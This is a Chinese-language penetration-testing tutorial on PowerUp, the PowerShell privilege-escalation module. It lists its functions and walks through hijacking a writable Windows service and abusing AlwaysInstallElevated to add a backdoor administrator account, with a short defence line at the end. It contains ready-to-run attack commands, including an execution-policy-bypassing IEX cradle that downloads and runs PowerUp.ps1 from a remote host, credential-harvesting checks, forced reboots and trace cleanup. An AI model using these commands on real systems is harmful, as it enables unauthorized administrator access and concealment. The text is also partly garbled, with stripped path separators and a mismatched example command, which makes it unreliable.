PowerShell工具之Powerup詳解實錄
0×01. Powerup簡介
Powerup是本地特權提升的一些呼叫方法,功能相當強大,擁有眾多實用的指令碼來幫助我們尋找目標主機Windows服務漏洞進行提權,也是 PowerShell Empire和PowerSploit 的一部分。
通常,在Windows下面我們可以通過核心漏洞來提升許可權,但是,我們常常會碰到所處伺服器通過核心漏洞提權是行不通的,這個時候,我們就需要通過脆弱的Windows服務提權;或者通過常見的系統服務,通過其繼承的系統許可權來完成提權等等,此框架可以在核心提權行不通的時候,幫助我們尋找伺服器脆弱點進而通過脆弱點實現提權的目的。
首先我們來看下Powerup下都有哪些模組,如下圖所示。
輸入可以通過tab鍵來自動補全,如果要檢視各個模組的詳細說明,可以使用" Get-help [cmdlet] -full "來檢視,比如" Get-Help Invoke-AllChecks -full ",如下圖所示。
模組介紹:
1.Invoke-AllChecks
執行所有的指令碼來檢查。
執行方式:
PS C:> Invoke-AllChecks
2.Find-PathDLLHijack
檢查當前%PATH%是否存在哪些目錄是當前使用者可以寫入的。
執行方式:
PS C:>Find-Pathdllhijack
3.Get-ApplicationHost
從系統上的applicationHost.config檔案恢復加密過的應用池和虛擬目錄的密碼。
執行方式:
PS C:>get-ApplicationHost
PS C:>get-ApplicationHost | Format-Table -Autosize # 列表顯示
4.Get-RegistryAlwaysInstallElevated
檢查AlwaysInstallElevated登錄檔項是否被設定,如果被設定,意味著的MSI檔案是以system許可權執行的。
執行方式:
PS C:>Get-RegistryAlwaysInstallElevated
5.Get-RegistryAutoLogon
檢測Winlogin登錄檔AutoAdminLogon項有沒有被設定,可查詢預設的使用者名稱和密碼。
執行方式:
PS C:> Get-RegistryAutoLogon
6.Get-ServiceDetail
返回某服務的資訊。
執行方式:
PS C:> Get-ServiceDetail -ServiceName Dhcp #獲取DHCP服務的詳細資訊
7.Get-ServiceFilePermission
檢查當前使用者能夠在哪些服務的目錄寫入相關聯的可執行檔案,通過這些檔案可達到提權的目的。
執行方式:
C:> Get-ServiceFilePermission
8.Test-ServiceDaclPermission
檢查所有可用的服務,並嘗試對這些開啟的服務進行修改,如果可修改,則返回該服務物件。
執行方式:
PS C:>Test-ServiceDaclPermission
9.Get-ServiceUnquoted
檢查服務路徑,返回包含空格但是不帶引號的服務路徑。
此處利用的windows的一個邏輯漏洞,即當檔案包含空格時,windows API會解釋為兩個路徑,並將這兩個檔案同時執行,有些時候可能會造成許可權的提升。
比如C:program fileshello.exe ,會被解釋為C:program.exe以及C:program fileshello.exe
執行方式:
PS C:>Get-ServiceUnquoted
10.Get-UnattendedInstallFile
檢查幾個路徑,查詢是否存在這些檔案,在這些檔案裡可能包含有部署憑據。這些檔案包括:
c:sysprepsysprep.xml
c:sysprepsysprep.inf
c:sysprep.inf
c:windowsPantherUnattended.xml
c:windowsPantherUnattendUnattended.xml
c:windowsPantherUnattend.xml
c:windowsPantherUnattendUnattend.xml
c:windowsSystem32Sysprepunattend.xml
c:windowsSystem32SysprepPantherunattend.xml
執行方式:
PS C:> Get-UnattendedInstallFile
11.Get-ModifiableRegistryAutoRun
檢查開機自啟的應用程式路徑和登錄檔鍵值,返回當前使用者可修改的程式路徑。
登錄檔檢查的鍵值為:
HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun
HKLMSoftwareMicrosoftWindowsCurrentVersionRunOnce
HKLMSOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionRun
HKLMSOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionRunOnce
HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunService
HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunOnceService
HKLMSOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionRunService
HKLMSOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionRunOnceService
執行方式:
PS C:>Get-ModifiableRegistryAutoRun
12.Get-ModifiableScheduledTaskFile
返回當前使用者能夠修改的計劃任務程式的名稱和路徑。
執行方式:
PS C:>Get-ModifiableScheduledTaskFile
13.Get-Webconfig
返回當前伺服器上的web.config檔案中的資料庫連線字串的明文。
執行方式:
PS C:>get-webconfig
14.Invoke-ServiceAbuse
用來通過修改服務新增使用者到指定組,並可以通過定製-cmd引數觸發新增使用者的自定義命令。
執行方式:
PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC # 新增預設賬號
PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName "TESTLABjohn" # 指定新增域賬號
PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName backdoor -Password password -LocalGroup "Administrators" # 指定新增使用者,使用者密碼以及新增的使用者組。
PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -Command "net ..."# 自定義執行命令
15.Restore-ServiceBinary
恢復服務的可執行檔案到原始目錄。
執行方式:
PS C:> Restore-ServiceBinary -ServiceName VulnSVC
16.Test-ServiceDaclPermission
檢查某個使用者是否在一個服務有自由訪問控制的許可權,返回true或false。
執行方式:
PS C:> Restore-ServiceBinary -ServiceName VulnSVC
17.Write-HijackDll
輸出一個自定義命令並且能夠自刪除的bat檔案到$env:Tempdebug.bat,並輸出一個能夠啟動這個bat檔案的dll。
18.Write-UserAddMSI
生成一個安裝檔案,執行這個安裝檔案,則彈出新增使用者的框。
執行方式:
PS C:> Write-UserAddMSI
19.Write-ServiceBinary
預編譯C#服務的可執行檔案。預設建立一個預設管理員賬號。可通過Command定製自己的命令。
執行方式:
PSC:>Write-ServiceBinary -ServiceName VulnSVC # 新增預設賬號
PSC:>Write-ServiceBinary -ServiceName VulnSVC -UserName "TESTLABjohn" # 指定新增域賬號
PSC:>Write-ServiceBinary-ServiceName VulnSVC -UserName backdoor -Password Password123! # 指定新增使用者,使用者密碼以及新增的使用者組
PSC:> Write-ServiceBinary -ServiceName VulnSVC -Command "net ..." # 自定義執行命令
20.Install-ServiceBinary
通過Write-ServiceBinary寫一個C#的服務用來新增使用者。
執行方式:
PSC:> Install-ServiceBinary -ServiceName DHCP
PSC:> Install-ServiceBinary -ServiceName VulnSVC -UserName "TESTLABjohn"
PSC:>Install-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password Password123!
PSC:> Install-ServiceBinary -ServiceName VulnSVC -Command "net ..."
Write-ServiceBinary與Install-ServiceBinary不同的是前者生成可執行檔案,後者直接安裝服務。
0×02.使用module滲透例項
模組很多不能一一介紹,有針對性的介紹幾個常用模組的實戰應用。
1. Invoke-AllChecks,Install-ServiceBinary,Get-ServiceUnquoted,Test-ServiceDaclPermission,Restore-ServiceBinary
先載入Powerup指令碼,然後執行Invoke-AllChecks,指令碼將會進行所有的檢查。
使用IEX下載在記憶體中載入此指令碼,執行如下命令,指令碼將會進行所有的檢查,如下圖所示。
powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString('http://192.168.31.247/PowerUp.ps1');Invoke-AllChecks”
溫習下知識點:
-NoProfile(-NoP):PowerShell控制檯不載入當前使用者的配置
-Exec Bypass:繞過執行安全策略
Import-Module:載入指令碼
也可以另一種方法,將Powerup指令碼上傳至目標伺服器,再使用本地執行該指令碼。見下圖所示。
上傳好指令碼後,輸入shell命令進入CMD提示符下,在CMD環境下,使用本地隱藏許可權繞過執行該指令碼,見下圖所示。
powershell.exe -exec bypass -Command "& {Import-Module .PowerUp.ps1; Invoke-AllChecks}"
可以看出,Powerup列出了可能存在問題的所有服務,並在AbuseFunction中直接給出了利用方式。第一部分通過Get-ServiceUnquoted模組(利用windows的一個邏輯漏洞,即當檔案包含空格時,windows API會解釋為兩個路徑,並將這兩個檔案同時執行,有些時候可能會造成許可權的提升)檢測出了有“Vulnerable Service”、“OmniServ”、“OmniServer”、“OmniServers”四個服務存在此邏輯漏洞,但是都沒有寫入許可權,所以並不能被我們利用來提權。第二部分通過Test-ServiceDaclPermission模組(檢查所有可用的服務,並嘗試對這些開啟的服務進行修改,如果可修改,則存在此漏洞)檢測出當前使用者可以在“OmniServers”服務的目錄寫入相關聯的可執行檔案,並且通過這些檔案來進行提權。
漏洞利用原理:Windows系統服務檔案在作業系統啟動時會載入執行,並且在後臺呼叫可執行檔案。比如,JAVA升級程式,每次重啟系統時,JAVA升級程式會檢測Oracle網站,是否有新版JAVA程式。而類似JAVA程式之類的系統服務程式載入時往往都是執行在系統許可權上的。所以如果一個低許可權的使用者對於此類系統服務呼叫的可執行檔案具有可寫的許可權,那麼就可以將其替換成我們的惡意可執行檔案,從而隨著系統啟動服務而獲得系統許可權。
這裡我們可以使用icacls(Windows內建的一個工具,用來檢查對有漏洞目錄是否有寫入的許可權)來驗證下PowerUp指令碼檢測是否正確,我們先來測試“C:Program FilesExecutable.exe”、“C:Program FilesCommon Filesmicrosoft sharedOmniServ.exe”、“C:Program FilesCommon FilesA SubfolderOmniServer.exe”這三個資料夾,均提示許可權不夠。如下圖所示。
再測試“C:Program FilesProgram FolderA SubfolderOmniServers.exe”檔案,如下圖所示。
“Everyone”使用者對這個檔案有完全控制權,就是說所有使用者都具有全部許可權修改這個資料夾。
引數說明:“M”表示修改,“F”代表完全控制,“CI”代表從屬容器將繼承訪問控制項,“OI”代表從屬檔案將繼承訪問控制項。這意味著對該目錄有讀,寫,刪除其下的檔案,刪除該目錄下的子目錄的許可權。
在這裡我們使用AbuseFunction那裡已經給出的具體操作方式,執行如下命令操作,如下圖所示。
powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Install-ServiceBinary -ServiceName 'OmniServers'-UserName shuteer -Password Password123!
知識點:
Install-ServiceBinary模組,通過Write-ServiceBinary寫一個C#的服務用來新增使用者。
之後當管理員執行該服務的時候,則會新增我們的賬號。現在我們手動停止該服務並再啟動該服務,就會新增我們的使用者,如下圖所示。
可以看到,提示拒絕訪問,那是因為我們當前的許可權是一個受限的USER許可權,所以只能等待管理員執行該服務或者系統重啟。這裡因為是虛擬機器機,所以直接使用如下命令強制重啟,如下圖所示。
Shutdown –r –f –t 0
我們切換到目標機介面可以看到已經關機重啟了,如下圖所示。
重啟以後,系統會自動建立了一個新的使用者shuteer,密碼是Password123!。如下圖所示。
我們來檢視下該使用者許可權,該使用者已經是系統管理員。如下圖所示。
提權成功以後,我們到目標機C:Program FilesProgram FolderA Subfolder目錄下面可以看到多了一個檔案,如下圖所示。
提權成功以後我們需要清除入侵的痕跡,把所有的狀態恢復到最初的狀態,可以使用如下命令恢復。
powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Restore-ServiceBinary -ServiceName
'OmniServers'
l 恢復‘C:Program FilesProgram FolderA SubfolderOmniServers.exe.bak’為’C:Program FilesProgram FolderA SubfolderOmniServers.exe’
l 移除備份二進位制檔案‘C:Program FilesProgram FolderA SubfolderOmniServers.exe.bak’
2. Get-RegistryAlwaysInstallElevated,Write-UserAddMSI
使用Powerup的Get-RegistryAlwaysInstallElevated模組來檢查登錄檔項是否被設定,如果AlwaysInstallElevated登錄檔項被設定,意味著的MSI檔案是以system許可權執行的。命令如下,True表示已經設定,如下圖所示。
powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1'); Get-RegistryAlwaysInstallElevated
接著新增使用者,執行Write-UserAddMSI模組,執行後生成檔案UserAdd.msi,如下圖所示。
這時以普通使用者許可權執行這個UserAdd.msi,就會成功新增賬戶,如下圖所示。
我們在檢視下管理員組的成員,可以看到已經成功在普通許可權的CMD下添加了一個管理員賬戶。如下圖所示。
漏洞利用原理:該漏洞產生的原因是因為使用者開啟了windows installer特權安裝功能,設定的方法如下圖所示:
開啟組策略編輯器(執行框中輸入gpedit.msc)
A.組策略-計算機配置—管理模版—Windows元件—Windows Installer—永遠以高特權進行安裝:選擇啟用
B.組策略-使用者配置—管理模版-Windows元件—Windows Installer-永遠以高特權進行安裝:選擇啟用
設定完畢之後,會在兩個登錄檔如下位置自動建立鍵值為”1″。
[HKEY_CURRENT_USERSOFTWAREPoliciesMicrosoftWindowsInstaller] “AlwaysInstallElevated”=dword:00000001
[HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsInstaller] “AlwaysInstallElevated”=dword:00000001
防護:對照利用方法進行防禦,只要關閉AlwaysInstallElevated,即可阻止通過msi檔案的提權利用。